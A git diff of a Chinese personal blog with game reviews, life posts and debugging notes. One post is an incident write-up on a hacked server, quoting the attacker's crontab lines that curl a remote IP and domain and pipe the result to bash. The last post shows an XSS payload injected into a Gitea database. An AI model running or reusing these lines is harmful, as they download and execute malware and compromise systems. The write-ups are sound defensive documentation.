它让我想起了小时候躲在被窝里在捧着老式诺基亚玩的一款塞班像素游戏


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/elden_ring.html b/posts/game/elden_ring.html new file mode 100644 index 0000000..42af16f --- /dev/null +++ b/posts/game/elden_ring.html @@ -0,0 +1,48 @@ + + + + + + + + 艾尔登法环 | 寒江蓑笠翁 + + + + + + +

艾尔登法环

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列

艾尔登法环

魂系列集大成之作,唯一一个全成就的游戏,首发预购的含金量


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/firework.html b/posts/game/firework.html new file mode 100644 index 0000000..afc81c1 --- /dev/null +++ b/posts/game/firework.html @@ -0,0 +1,48 @@ + + + + + + + + 烟火 | 寒江蓑笠翁 + + + + + + +

烟火

寒江蓑笠翁小于 1 分钟游戏杂谈恐怖游戏民俗风格2D游戏

烟火

一款小体量的恐怖游戏,像一本短暂又令人回味的小说


正文

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/gp.html b/posts/game/gp.html new file mode 100644 index 0000000..e7088c7 --- /dev/null +++ b/posts/game/gp.html @@ -0,0 +1,48 @@ + + + + + + + + 激流快艇 | 寒江蓑笠翁 + + + + + + +

激流快艇

寒江蓑笠翁小于 1 分钟游戏杂谈童年回忆TV游戏

激流快艇

初中在家里的智能电视上玩的激流快艇2,童年回忆之一,第三部是18年出的,人长大了但电视还是那个电视,现在还能玩不过卡跟ppt一样。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/gujianqitan.html b/posts/game/gujianqitan.html new file mode 100644 index 0000000..d70c496 --- /dev/null +++ b/posts/game/gujianqitan.html @@ -0,0 +1,48 @@ + + + + + + + + 古剑奇谭三:梦付千秋星垂野 | 寒江蓑笠翁 + + + + + + +

古剑奇谭三:梦付千秋星垂野

寒江蓑笠翁小于 1 分钟游戏杂谈古剑奇谭武侠烛龙

古剑奇谭三:梦付千秋星垂野

高中时在WebGame上掏钱买的一款国产游戏,应该是那段时间国产游戏行业的一道光


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/index.html b/posts/game/index.html new file mode 100644 index 0000000..c7776a5 --- /dev/null +++ b/posts/game/index.html @@ -0,0 +1,48 @@ + + + + + + + + Game | 寒江蓑笠翁 + + + + + + +

Game

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/game/kingdom_come.html b/posts/game/kingdom_come.html new file mode 100644 index 0000000..5c045da --- /dev/null +++ b/posts/game/kingdom_come.html @@ -0,0 +1,48 @@ + + + + + + + + 天国拯救 | 寒江蓑笠翁 + + + + + + +

天国拯救

寒江蓑笠翁小于 1 分钟游戏杂谈开放世界硬核

天国拯救

一个铁匠儿子成长为剑术大师的故事,剧情挺好,战斗太难了,为了看剧情开修改器过的。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/mc.html b/posts/game/mc.html new file mode 100644 index 0000000..3ccd0cf --- /dev/null +++ b/posts/game/mc.html @@ -0,0 +1,48 @@ + + + + + + + + Minecraft | 寒江蓑笠翁 + + + + + + +

Minecraft

寒江蓑笠翁小于 1 分钟游戏杂谈沙盒建造

Minecraft

从小学就开始玩了,从啥都不会到自己搭建游戏服务器,再到自己编写游戏插件,踏上编程之路也全是因为它。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/pzb.html b/posts/game/pzb.html new file mode 100644 index 0000000..07e1be4 --- /dev/null +++ b/posts/game/pzb.html @@ -0,0 +1,48 @@ + + + + + + + + 僵尸毁灭工程 | 寒江蓑笠翁 + + + + + + +

僵尸毁灭工程

寒江蓑笠翁大约 17 分钟游戏杂谈生存硬核末世

僵尸毁灭工程

一款十分真实的丧尸沙盒生存游戏,心中同题材下最好的游戏。


有那么一段时间我比较沉迷于丧尸这个题材,不论是小说还是电影或者是游戏,在尝试了非常多的这类题材作品过后,最后发现了代入感最强的还是这一款名为《僵尸毁灭工程》的沙盒生存游戏。不过在稍微了解了这个游戏的历史后,发现它居然有好几年的制作历史了,并且一直在持续更新中,在创意工坊中有着大量的玩家自制的MOD可供使用,生态也算是非常的好了。

真实感

僵毁中的医学人体图
僵毁中的医学人体图

虽然游戏本身的画面并不是特别出色,甚至角色还是多边形人,但是丝毫不会减少游戏的魅力--真实。游戏在很多地方都力求还原现实,比如角色遇到丧尸会害怕,当处于恐惧状态时,会跑的更快,但是攻击伤害会更低。当翻窗进废弃房屋搜寻物资时,需要注意窗户上是否有碎玻璃,否则会划伤身体,而清理玻璃必须要戴手套或者使用工具,否则徒手清理也会受伤。当玩家受伤时,需要进行及时的包扎和消毒,如果不及时照顾伤口可能会导致伤口感染,感染后就可能会增加恶化的几率,伤口过深可能会引起破伤风,这时候需要更加专业的医疗工具来进行治疗。当角色遇到的负面事情过多时,就会陷入抑郁状态,而过度抑郁会导致角色状态大幅度下降等等,上述所描述的这些也只是游戏中众多细节中的其中几种,正是这些看起来十分繁琐的细节促成了很强的沉浸感和代入感,玩家可以很直观的体会到一个普通人在面对丧尸危机大爆发的无力感和绝望感。

背景

游戏在初代其实是想走线性流程这个方向,那时候是有固定的剧情,但是到了后续更新变成了开放世界沙盒模式,剧情也删减了很多,就现在而言几乎没有什么剧情,但是有一个基本的背景设定(顺便提一下游戏早期只有四个人开发,一路走来可以说是十分的励志)。僵尸毁灭工程的故事发生在上个世界90年代的美国肯塔基州,病毒爆发地点位于路易斯维尔市,也就是地图上右上角的那个大城市,在军方的生化实验室病毒泄露后,短短几天事情便发展到了不可控的地步,直到最后蔓延到了全球。

肯塔基架空地图
肯塔基架空地图

而作为主角的玩家,只是一个平平无奇的普通人,唯一的目标就是搜寻资源并在这个末世活下去,除此之外游戏开始之后便不会再有任何的剧情。

流程

游戏机制算得上十分复杂,玩家需要注意的东西挺多的,第一次玩可能会摸不着头脑,需要考虑到季节,天气,温度,时间,饥饿,口渴,疲劳,忧郁,无聊,受伤,负重等等。在正常的流程中,一般是7月9号夏天开局,你的职业可以是一个普通的上班族,也可以是警察或者是建筑工人,或者是退伍军人,在刚开始的几天仍然会正常播放电视节目和广播节目,彻底沦陷后整个世界只剩一片寂静。门外可能已经聚集了不少丧尸,这时手无寸铁的你需要利用手上一切可以使用的工具,溜出房子去寻找一个安全的庇护所。第一件要做的事就是武装自己,可以是平底锅,棒球棒,撬棍,或者是钢管,切记千万不要随便开枪,枪声会引来一大群丧尸,这反而会成为丧尸们的开饭铃。在找到武器后玩家需要将自己身体的重要部位保护起来,一旦被丧尸造成伤口后果是不堪设想的,你需要穿一些厚实的衣服,但注意别太暖和了,否则运动一小会你就会中暑。

当有了基本的自我保护能力后,你需要搜集食物和水源,因为不久后城市里就会断水断电,在超市和便利店里可能还会有一些其他幸存者没有搜刮完的食物,这些地方往往危机四伏,冰箱里的食物记得尽早食用,食物腐烂后会导致食物中毒,在医疗崩溃的条件下生病基本等同于死亡,这也是为什么即便再渴也不要随便引用来历不明的水。看见医疗物资一定要记得带上,末世下医疗物资十分珍贵,即便是感冒都可能要人命。居住的庇护所至少要有两层,因为在一楼沦陷的情况下还可以从二楼逃跑,切记时刻给自己留退路,在睡觉的时候一定要记得关门,没有人知道夜里会发生什么事情,在丧尸入侵庇护所后,如果尸体过多不清理掉,很有可能会导致你感染。在完全的断水断电后,对于水源你可以接雨水或者到河边取水后煮沸了再饮用,对于食物你可以不断的出去搜寻物资,或者将找到的种子耕种成农作物自给自足。在基本的稳定下来后,你可以短暂的放松一下了,长时间神经的紧绷会让你十分敏感,这可能会导致抑郁,尝试看录像带或者看漫画来缓解和放松心情。在外出搜寻的过程中,你可能会偶尔听到直升机的声音,在看到直升机后千万不要像个傻子一样大声呼救,马上躲到建筑物内不要让它发现。新闻直升机在发现你后并不会实施救援,而一直盘旋在你头顶拍摄新闻素材,尤其喜欢拍摄幸存者被丧尸撕咬的画面,螺旋桨所发出的巨大噪声会把几乎半个城市的丧尸全部吸引过来,这时候你基本上就是死路一条。

在解决了温饱过后,如果你运气好在废弃房子的仓库里搜到发电机,那么你可以去所剩无几的加油站的油箱中加油,这样一来你的房子就可以使用冰箱和厨具了,切记发电机产生的气体是有毒的,你需要将它放在室外。如果能找到一辆还能开的车就更完美了,开车的时候注意不要开太快,否则出了车祸后果将不堪设想,不要开车去撞丧尸,因为车的损耗承受不起,在开车回家时不要发出太大的噪声,否则你只会把丧尸引到庇护所去。大城市里面虽然物资丰富,但几乎遍地丧尸,小镇虽然物资少,但是更加安全,切记物资再珍贵也没有命贵。有些丧尸生前是运动员,奔跑的速度非常快,遇到这类丧尸一定要避开。在探索建筑物时,每一道门后面都可能藏有危险,切记不要拿脸开门。有时候野外并不一定就比城市更加安全,夜晚的树林同样危机四伏。如果在深山老林中碰巧发现了军事基地,拿到强大的武器后,你就拥有了与尸潮一战的能力。丧尸们总是会有规律的活动,在一个月的某几天,它们的数量会达到顶峰,这是最危险的时候,丧尸会如潮水般向你的庇护所袭来,你需要奋战到最后一刻来保护你的基地。如果失守了,也不要忘了留得青山在,不怕没柴烧。

最后,你在这艰难的末世中顽强的存活了下来,此时病毒已经蔓延到了世界各地,整个世界一片寂静,就算你每天开着收音机也不会有任何回应。对于这绝望的世界,你可以开枪了解自己来结束这痛苦的一生,或者是带着一整车物资外出寻找新的希望,也可以带着武器前往大型商场享受屠杀丧尸的最后狂欢,不论选择哪一种,末世都始终会持续下去,当你死后,会有新的幸存者会继承你的意志并继续活下去。

结语

同样的题材也有很多优秀的游戏,即便僵毁画面很复古,但是僵尸毁灭工程满足了我一切对于末世的幻想,非常对我的胃口,在我心目中就是最好的丧尸题材游戏,美中不足的是游戏中人类NPC和动物几乎没有出现,互动也很少,不过这些可以通过加入第三方MOD来添加更多有趣的玩法。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/re2.html b/posts/game/re2.html new file mode 100644 index 0000000..004fc2b --- /dev/null +++ b/posts/game/re2.html @@ -0,0 +1,48 @@ + + + + + + + + 生化危机2 重制版 | 寒江蓑笠翁 + + + + + + +

生化危机2 重制版

寒江蓑笠翁小于 1 分钟游戏杂谈恐怖丧尸短小

生化危机2 重制版

第一次玩的时候还有点吓人,后面逛警察局就跟回家一样,游戏质量很高。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/sekrio.html b/posts/game/sekrio.html new file mode 100644 index 0000000..dab2614 --- /dev/null +++ b/posts/game/sekrio.html @@ -0,0 +1,48 @@ + + + + + + + + 只狼:影逝二度 | 寒江蓑笠翁 + + + + + + +

只狼:影逝二度

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦

只狼:影逝二度

老贼非常成功的创新,游戏内容不算特别多,但胜在短小精悍。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/game/witcher.html b/posts/game/witcher.html new file mode 100644 index 0000000..f578ba2 --- /dev/null +++ b/posts/game/witcher.html @@ -0,0 +1,48 @@ + + + + + + + + 巫师三:狂猎 | 寒江蓑笠翁 + + + + + + +

巫师三:狂猎

寒江蓑笠翁小于 1 分钟游戏杂谈开放世界剑与魔法探索冒险

巫师三:狂猎

先看小说再玩游戏,我愿称之为开放世界天花板。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/index.html b/posts/index.html index 217e576..00dc2ea 100644 --- a/posts/index.html +++ b/posts/index.html @@ -5,7 +5,7 @@ - Posts | 紫狐 +Posts | 寒江蓑笠翁 + + + + + +

一次70KM短途骑行

寒江蓑笠翁小于 1 分钟生活随笔骑行运动风景

一次70KM短途骑行

从学校出发到江边,硬生生从山底爬到山顶,全程70KM。


上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/life/2023_10_09.html b/posts/life/2023_10_09.html new file mode 100644 index 0000000..4972a68 --- /dev/null +++ b/posts/life/2023_10_09.html @@ -0,0 +1,48 @@ + + + + + + + + 暑假骑行 | 寒江蓑笠翁 + + + + + + +

暑假骑行

寒江蓑笠翁小于 1 分钟生活随笔骑行暑假户外

暑假骑行

暑假在江边骑行


早上异常的湿热,空气里全是水,站着不动都能汗湿,中午以后直接暴晒,顶着39度的太阳骑行,随行的学弟直接被晒的神志不清,回去以后小臂晒掉一层皮。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/life/2024_02_27.html b/posts/life/2024_02_27.html new file mode 100644 index 0000000..bfe709f --- /dev/null +++ b/posts/life/2024_02_27.html @@ -0,0 +1,48 @@ + + + + + + + + 大理旅行 | 寒江蓑笠翁 + + + + + + +

大理旅行

寒江蓑笠翁小于 1 分钟生活随笔旅行风景大理

大理旅行

在大理旅行了三天


初次到大理的时候机场真的很小,下关风非常大,人都有点站不稳。住的地方是大理古城旁边的一家民宿,离洱海两三公里,骑着小电驴就可以到处逛,不得不吐槽下全国的古城都是只有小吃街,好在洱海的风景非常好看。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/life/2024_06_03.html b/posts/life/2024_06_03.html new file mode 100644 index 0000000..376e082 --- /dev/null +++ b/posts/life/2024_06_03.html @@ -0,0 +1,48 @@ + + + + + + + + 生病了 | 寒江蓑笠翁 + + + + + + +

生病了

寒江蓑笠翁大约 5 分钟生活随笔

生病了


在5月末的时候,背部的左下方靠腰的地方长了几个红色的小痘痘,刚开始没怎么在意,只是觉得有点痒,直到6月2号骑完车回来洗澡的时候仔细看了下,发现背后已经长了一大片红斑,大概有成年人一个手掌那么大,而且还在往腰部的方向逐渐蔓延,摸起来有颗粒感,晚上睡觉的时候又痒又痛,这种痛感是那种刺骨的感觉,整的我难以入睡,当晚就觉得不对劲,第二天起来一早就直接去学校最近的一个诊所查看情况。

给我看病的是一个头发半白的老头,他只是看了我后背一眼就得出了结论:带状疱疹。这玩意跟水痘差不多,都是由水痘病毒引起的,只是传染性没那么强,在宿主免疫力下降的时候会发病,越早治疗越容易痊愈,图就不放出来了,网上一大把,很容易引起不适。

不到几分钟,老医生很快就给出了治疗方法

  1. 扎火针放血,扎破痘泡使其快速结疤
  2. 在患病部位涂抹阿韦昔洛凝胶,防止其继续蔓延
  3. 输液打点滴,补充各种维生素营养液,提升免疫力
  4. 吃一些缓解神经痛

其中的扎火针疗法不是必须的,但是很有效,同时也非常的折磨人,本来就挺疼的,还要用针扎,前后总共扎了两次,扎完过后涂抹药膏用射线灯照射将其烤干,相当折磨人,护士小姐姐给我扎针时还问我难道不觉得疼吗,疼当然是疼,只是早已麻木了。折磨半天后开始输液了,终于可以静下来了,于是我开始反思最近生活作息确实有点反人类了,经常熬夜,总是吃油腻外卖,运动量过低,个人卫生问题,这些可能都是导致免疫力下降的因素,这次得病也算是身体给我发出的一个警告。

老医生跟我说这病没有十天半个月好不了,相当顽固,必须根除,否则很容易再重新长出来,后遗症也很折磨人,好消息是治好后基本上很难复发。实习的事情大概率也黄了,先安心治病吧,顺便也调整下生活作息,这篇文章就简单记录下我得病的过程,希望以后不要再犯了,能有一个健康的身体比什么都重要。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/life/index.html b/posts/life/index.html index 2b32a7c..2c530ad 100644 --- a/posts/life/index.html +++ b/posts/life/index.html @@ -5,7 +5,7 @@ - Life | 紫狐 +Life | 寒江蓑笠翁 + + + + + +

docker内存显示异常的bug

寒江蓑笠翁大约 2 分钟问题记录docker内存异常

docker内存显示异常的bug

源于项目开发过程中的一个发现


此前接了一个开发饥荒虚拟容器管理平台的项目,其中有一个功能就是实时显示容器的内存使用状况,后来奇怪的发现容器的内存趋势图在容器创建后的5分钟内达到了几乎100%

初次遇到这个问题,百思不得其解,以为是自己程序的编写错误,后来在容器中top了一下发现真实占用可能就40%左右。后面去翻阅了docker cli计算内存占用的源代码,Docker Cli 计算内存源代码地址open in new window,逻辑基本上是一致,那么只剩一种可能,这的确就是docker的bug。

在经过测试后,这个bug诱发的原因是饥荒容器在创建时会下载一个接近4个g的游戏服务端,在此过程中会消耗一定的资源,内存占用会逐渐攀升,但是等到下载完毕后增长的趋势依旧不停,从而造成了内存虚高。

为此编写了一个测试,这在github的issue里有更详细的介绍,issue addressopen in new window

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/go_bug_of_hertz_limiter.html b/posts/problem/go_bug_of_hertz_limiter.html new file mode 100644 index 0000000..4914ebe --- /dev/null +++ b/posts/problem/go_bug_of_hertz_limiter.html @@ -0,0 +1,112 @@ + + + + + + + + 记录Hertz框架limiter的一个问题 | 寒江蓑笠翁 + + + + + + +

记录Hertz框架limiter的一个问题

寒江蓑笠翁大约 5 分钟问题记录gohertzlimiter

记录Hertz框架limiter的一个问题


最近在尝试一个新的Web框架Hertz,使用起来跟gin没什么太大的区别,它的周边生态也有一些开源的中间件,在使用其中的limiter时遇到了问题,便记录了下来。

发现

首先limiter的算法实现是BBR自适应限流算法,用起来没有问题,用法如下。

func limiterHandler() app.HandlerFunc {
+	newLimiter := limiter.NewLimiter()
+	return func(c context.Context, ctx *app.RequestContext) {
+		done, err := newLimiter.Allow()
+		if err != nil {
+			ctx.AbortWithStatusJSON(consts.StatusTooManyRequests, types.Response{
+				Code: consts.StatusTooManyRequests,
+				Data: nil,
+				Msg:  "too many requests",
+			})
+		} else {
+			ctx.Next(c)
+			done()
+		}
+	}
+}
+

在编译之前进行语法检查,会得到如下报错,提示未定义的类型

github.com\c9s\goprocinfo@v0.0.0-20210130143923-c95fcf8c64a8\linux\disk.go:15:16: undefined: syscall.Statfs_t
+github.com\c9s\goprocinfo@v0.0.0-20210130143923-c95fcf8c64a8\linux\disk.go:16:17: undefined: syscall.Statfs
+

首先会好奇这么个玩意是哪里来的,我好像也没用到过,先通过go mod命令看看是谁依赖了它

$ go mod graph | grep goprocinfo
+github.com/dstgo/tracker github.com/c9s/goprocinfo@v0.0.0-20210130143923-c95fcf8c64a8
+github.com/hertz-contrib/limiter@v0.0.0-20221008063035-ad27db7cc386 github.com/c9s/goprocinfo@v0.0.0-20210130143923-c95fcf8c64a8
+

原来就是这个limiter导入了它,因为bbr算法的需要获取主机的一些负载信息所以导入了这个库。syscall是标准库中的系统调用库,它不太可能会出问题,那就是用它的库有问题,接下来去这个goprocinfo库里面看看怎么回事,找到的目标代码如下

package linux
+
+import (
+	"syscall"
+)
+
+type Disk struct {
+	All        uint64 `json:"all"`
+	Used       uint64 `json:"used"`
+	Free       uint64 `json:"free"`
+	FreeInodes uint64 `json:"freeInodes"`
+}
+
+func ReadDisk(path string) (*Disk, error) {
+	fs := syscall.Statfs_t{}
+	err := syscall.Statfs(path, &fs)
+	if err != nil {
+		return nil, err
+	}
+	disk := Disk{}
+	disk.All = fs.Blocks * uint64(fs.Bsize)
+	disk.Free = fs.Bfree * uint64(fs.Bsize)
+	disk.Used = disk.All - disk.Free
+	disk.FreeInodes = fs.Ffree
+	return &disk, nil
+}
+

这段代码的逻辑很简单,就是通过系统调用来获取某一个路径下文件夹使用额度,但是遗憾的是Windows系统并不支持Statfs这个系统调用,所以对于win系统而言,编译后并不会存在Statfs_t类型和Statfs函数,所以整个问题的原因就是goprocinfo这个库没有根据不同的系统做兼容而导致的。

解决

由于我的开发工作是在windows上进行的,不可能去迁移到linux上,所以只能更换一个新的限流库,这里找到了go-kratos开源的一个bbr限流库。

https://github.com/go-kratos/aegis/blob/main/ratelimit/
+

在更换过后,代码变化也不多

func limiterHandler() app.HandlerFunc {
+	limiter := bbr.NewLimiter()
+	return func(c context.Context, ctx *app.RequestContext) {
+		done, err := limiter.Allow()
+		if err != nil {
+			ctx.AbortWithStatusJSON(consts.StatusTooManyRequests, types.Response{
+				Code: consts.StatusTooManyRequests,
+				Data: nil,
+				Msg:  "too many requests",
+			})
+		} else {
+			ctx.Next(c)
+			done(ratelimit.DoneInfo{})
+		}
+	}
+}
+

go-kratos所使用的系统信息库是gopsutil,后者是一个专门兼容各个操作系统的系统信息库,对外屏蔽了复杂的系统调用,兼容性要更高。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/goland_invalid_ref.html b/posts/problem/goland_invalid_ref.html new file mode 100644 index 0000000..f307623 --- /dev/null +++ b/posts/problem/goland_invalid_ref.html @@ -0,0 +1,48 @@ + + + + + + + + goland索引失效 | 寒江蓑笠翁 + + + + + + +

goland索引失效

寒江蓑笠翁大约 3 分钟问题记录jetbraingolandIDE

goland索引失效

问题相当的恼火


问题

最近在用goland写代码的时候,经常会出现某个包的类型无法解析的情况,但实际上没有任何的错误。比如这一行代码引用了user.PageOption

goland报错提示引用无法正常解析

但实际上根本就没有任何的错误

go vet也检测不到任何的错误,编译也可以正常通过。出现这种情况的话就没法进行引用快速跳转,智能提示等,这种情况还会发生在函数,接口,结构体,字段上,并且一旦有其它类型引用了这些它们,那么该类型也会变得“无法正常解析”,突出一个离谱,这样很影响效率。

解决

解决不了,摆烂!这个问题我已经在youtrack反映过了,问题链接:youtrackopen in new window。工作人员让我升级到2023.2.3,但实际上我就是在2.3版本发现问题才降到2.2的。

结果发现降下来没有任何的改善,在bug修复之前唯一能做的就只有等待。不过总归要有一个临时的解决办法,既然是索引出了问题,那就把索引清空了重新对项目进行索引。

但如果每次发生这种情况都要重启一次的话,那就太浪费时间了,goland重启+构建索引的时间基本上有几分钟了,但凡gomod的依赖多一点,花的时间就更久,不过除此之外也没别的办法了。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/gotime.html b/posts/problem/gotime.html new file mode 100644 index 0000000..5d3e96e --- /dev/null +++ b/posts/problem/gotime.html @@ -0,0 +1,48 @@ + + + + + + + + go后端日期时区的问题记录 | 寒江蓑笠翁 + + + + + + +

go后端日期时区的问题记录

寒江蓑笠翁大约 2 分钟问题记录mysqlgotime

go后端日期时区的问题记录

记录一次go后端日期时区问题的记录


在通常的前后端交互中,日期是一个经常很令人头痛的问题,需要统一格式,统一时区等等。

在最近的一个项目中,前端根据YYYY/MM/DD hh:mm:ss格式传给后端,后端解析成time.Time类型,但是这犯了一个很严重的错误。

在解析日期字符串时,如果没有按照格式传递时区偏移,例如+0800 CST 等格式,go将会默认解析为+0000 UST的时区,由于数据库设置为了同步设置了东八区,一看传过来的数据是UST时区的,就误认为需要修正时区,结果就是存储到数据库的数据会比实际时间多出八小时。

解决办法1:

前端在传递给后端日期时,前端自己带上时区信息,+0800 CST类似这种

解决办法2:

后端根据客户端请求头中的时区信息, 将传递过来的日期加上时区信息

当添加上正确的时区信息过后,时间的读写才会是正常的。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/hack.html b/posts/problem/hack.html new file mode 100644 index 0000000..7f5382d --- /dev/null +++ b/posts/problem/hack.html @@ -0,0 +1,94 @@ + + + + + + + + 记一次服务器被黑的解决过程 | 寒江蓑笠翁 + + + + + + +

记一次服务器被黑的解决过程

寒江蓑笠翁大约 9 分钟问题记录

记一次服务器被黑的解决过程

只能说离谱,以后还是要多注意这方面的东西。


一大早起来,就看到腾讯云异常登录的通知,就大概明白是咋回事了,这是我在腾讯云上的一个轻量应用服务器,倒也算不上第一次被黑,上一次被黑的时候入侵者仅仅只是放了一个挖矿木马就没了,其它什么也没动。这一次不仅搞挖矿把服务器资源都跑满了,而且还把我root用户的ssh密钥都改了,一大早起来就得赶紧解决。这里放一张图,看看资源使用情况,基本上都已经爆满了。

原因

究其原因,是因为在前几天为了在服务器上搭建自用的gitea,创建了一个新用户git来跑服务,也就是此次异常登录的用户,当时给它添加到了sudo组,而且也忘记做远程登录限制,也没有ssh密钥,密码也是非常简单的123456,被暴力破解应该是轻而易举的,只是没想到睡一觉起来就G了,以后在这一块看来是一点都不能松懈。下面是截取的一部分登录尝试记录。

$ lastb | grep git
+gitlab-p ssh:notty    2.59.254.244     Tue Sep 12 04:16 - 04:16  (00:00)
+gitlab-p ssh:notty    94.156.161.32    Tue Sep 12 01:35 - 01:35  (00:00)
+gitlab-p ssh:notty    94.156.161.32    Tue Sep 12 01:35 - 01:35  (00:00)
+git      ssh:notty    94.156.161.32    Tue Sep 12 01:34 - 01:34  (00:00)
+git      ssh:notty    94.156.161.32    Tue Sep 12 01:34 - 01:34  (00:00)
+git      ssh:notty    94.156.161.32    Tue Sep 12 01:33 - 01:33  (00:00)
+...
+

解决

首先是之前的用户都登陆不上去了,这里只能用服务器默认用户在腾讯云后台重置密码,密码重置完后,登陆到服务器上,top看一下

可以看到第一行xrx这个东西已经把cpu跑满了,内存也没剩下多少并且还多了一个cheeki用户。然后来看看这个玩意的运行路径

$ sudo ls -l /proc/19104/cwd
+lrwxrwxrwx 1 root root 0 Sep 12 09:04 /proc/19104/cwd -> /root
+

再locate一下看看

$ locate xrx
+/var/tmp/.xrx
+/var/tmp/.xrx/chattr
+/var/tmp/.xrx/config.json
+/var/tmp/.xrx/init.sh
+/var/tmp/.xrx/key
+/var/tmp/.xrx/passwd
+/var/tmp/.xrx/scp
+/var/tmp/.xrx/uninstall.sh
+/var/tmp/.xrx/xrx
+

其中这个ini.sh应该是被混淆过的,全是乱码,key文件和passwd可能是用来解码的。此时看下git用户的.bash_history都是我自己留下的记录,操作记录也是可以被隐藏的。目前root目录我是进不去的,直接把这个进程kill了也无济于事,一般来说会有定时任务来定时重启这些木马,查看系统定时任务,差不多就是特定的地方拉取脚本然后执行,并且在重启的时候还会后台运行这几个进程。

$ cat /etc/crontab
+@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown  
+@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown  
+1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown  
+*/30 * * * * root curl 179.43.142.41:1011/next | bash 
+*/30 * * * * root curl load.whitesnake.church:1011/next | bash 
+

可以看到该文件修改时间就是凌晨一点,差不多就是我在睡觉的时候。

$ ls -l /etc/crontab
+-rw-r--r-- 1 root root 305 Sep 12 01:36 /etc/crontab
+

差不多在同一时间,/etc/passwd文件也被修改了。

$ ls -l /etc/passwd
+-rw-r--r-- 1 root root 2674 Sep 12 01:36 /etc/passwd
+

不幸的是,passwd命令也被掉包了,即便通过root权限,也无法直接修改用户的密码,而且我修改的密码可能会通过网络被上传到后台。

find /usr/bin/ -type f -mtime -3
+/usr/bin/passwd
+

把盗版的passwd先删掉,然后用apt重新安装一个

$ rm -f /usr/bin/passwd
+$ sudo apt reinstall passwd
+

后面的任务是拿到root账号,这里通过腾讯云后台提供的重置密码功能,把root账号的密码给重置了,然后用默认账户登录上去再切换到root,可以看到密钥已经被改了,修改时间也是凌晨

$ ls -l
+total 12
+-rwxr-xr-x 1 root root  388 Sep 12 01:35 authorized_keys
+-rw------- 1 root root 2610 Apr  8 21:30 id_rsa
+-rw-r--r-- 1 root root  573 Apr  8 21:30 id_rsa.pub
+

并且还上锁了,无法删除

rm authorized_keys
+rm: cannot remove 'authorized_keys': Operation not permitted
+

尝试解锁后成功了,庆幸没有对方修改chattr命令。

ls -l chattr
+-rwxr-xr-x 1 root root 14656 Jun  2  2022 chattr
+
chattr -iad authorized_keys
+

把所有密钥都删除,然后再删除木马文件和定时任务,然后再重启看看,是否恢复正常。

$ rm -rf /var/tmp/.xrx/
+$ echo "" > /etc/crontab
+

删除之后的话基本上服务器占用就变正常了,为了彻底解决,这里把ssh的配置设置的更加严格一些,禁止密码登录,禁止root登录,修改ssh默认端口号。差不多后续就不会出什么问题了,除非有什么其它软件漏洞。下面是修改后的占用图,就是正常状态了。

下面是一些用到的文章

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/index.html b/posts/problem/index.html new file mode 100644 index 0000000..3bd6172 --- /dev/null +++ b/posts/problem/index.html @@ -0,0 +1,48 @@ + + + + + + + + Problem | 寒江蓑笠翁 + + + + + + +

Problem

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/problem/linuxexe.html b/posts/problem/linuxexe.html new file mode 100644 index 0000000..09b5bb7 --- /dev/null +++ b/posts/problem/linuxexe.html @@ -0,0 +1,53 @@ + + + + + + + + 64位Ubuntu上运行32位可执行文件 | 寒江蓑笠翁 + + + + + + +

64位Ubuntu上运行32位可执行文件

寒江蓑笠翁大约 2 分钟问题记录

64位Ubuntu上运行32位可执行文件

记录64位Ubuntu上运行32位可执行文件的问题


最近在捣鼓Steamcmd开游戏专用服务器,下载下来的tar包中,解压出来的steamcmd可执行文件是32位的,命令如下

$ file steamcmd
+steamcmd: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=230b2c1359fbcc9d738427efc5a5c31a69a4d16b, not stripped
+

当时的使用系统uname如下

$ uname -a
+Linux VM-16-3-ubuntu 5.4.0-96-generic #109-Ubuntu SMP Wed Jan 12 16:49:16 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
+

64位系统是无法直接运行32位可执行文件的,最开始半天不知道怎么回事,一直报No such file and directory,发现问题后下载32位依赖运行库即可

$ apt install lib32z1
+

下载完成后即可正常运行。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/problem/mysqlinject.html b/posts/problem/mysqlinject.html new file mode 100644 index 0000000..c347267 --- /dev/null +++ b/posts/problem/mysqlinject.html @@ -0,0 +1,52 @@ + + + + + + + + 数据库被注入恶意信息 | 寒江蓑笠翁 + + + + + + +

数据库被注入恶意信息

寒江蓑笠翁大约 2 分钟问题记录

数据库被注入恶意信息


分析

前段时间搭建了个gitea自用,有一天上去过后发现web一直显示500,想着重启试试,结果发现再也重启不能。

2023/09/22 14:57:58 ...er/issues/indexer.go:246:func3() [I] Issue Indexer Initialization took 725.906µs
+2023/09/22 14:57:58 routers/init.go:69:mustInitCtx() [F] code.gitea.io/gitea/routers.syncAppConfForGit(ctx) failed: readObjectStart: expect { or n, but found <, error found in #1 byte of ...|<body/onloa|..., bigger context ...|<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGx|...
+

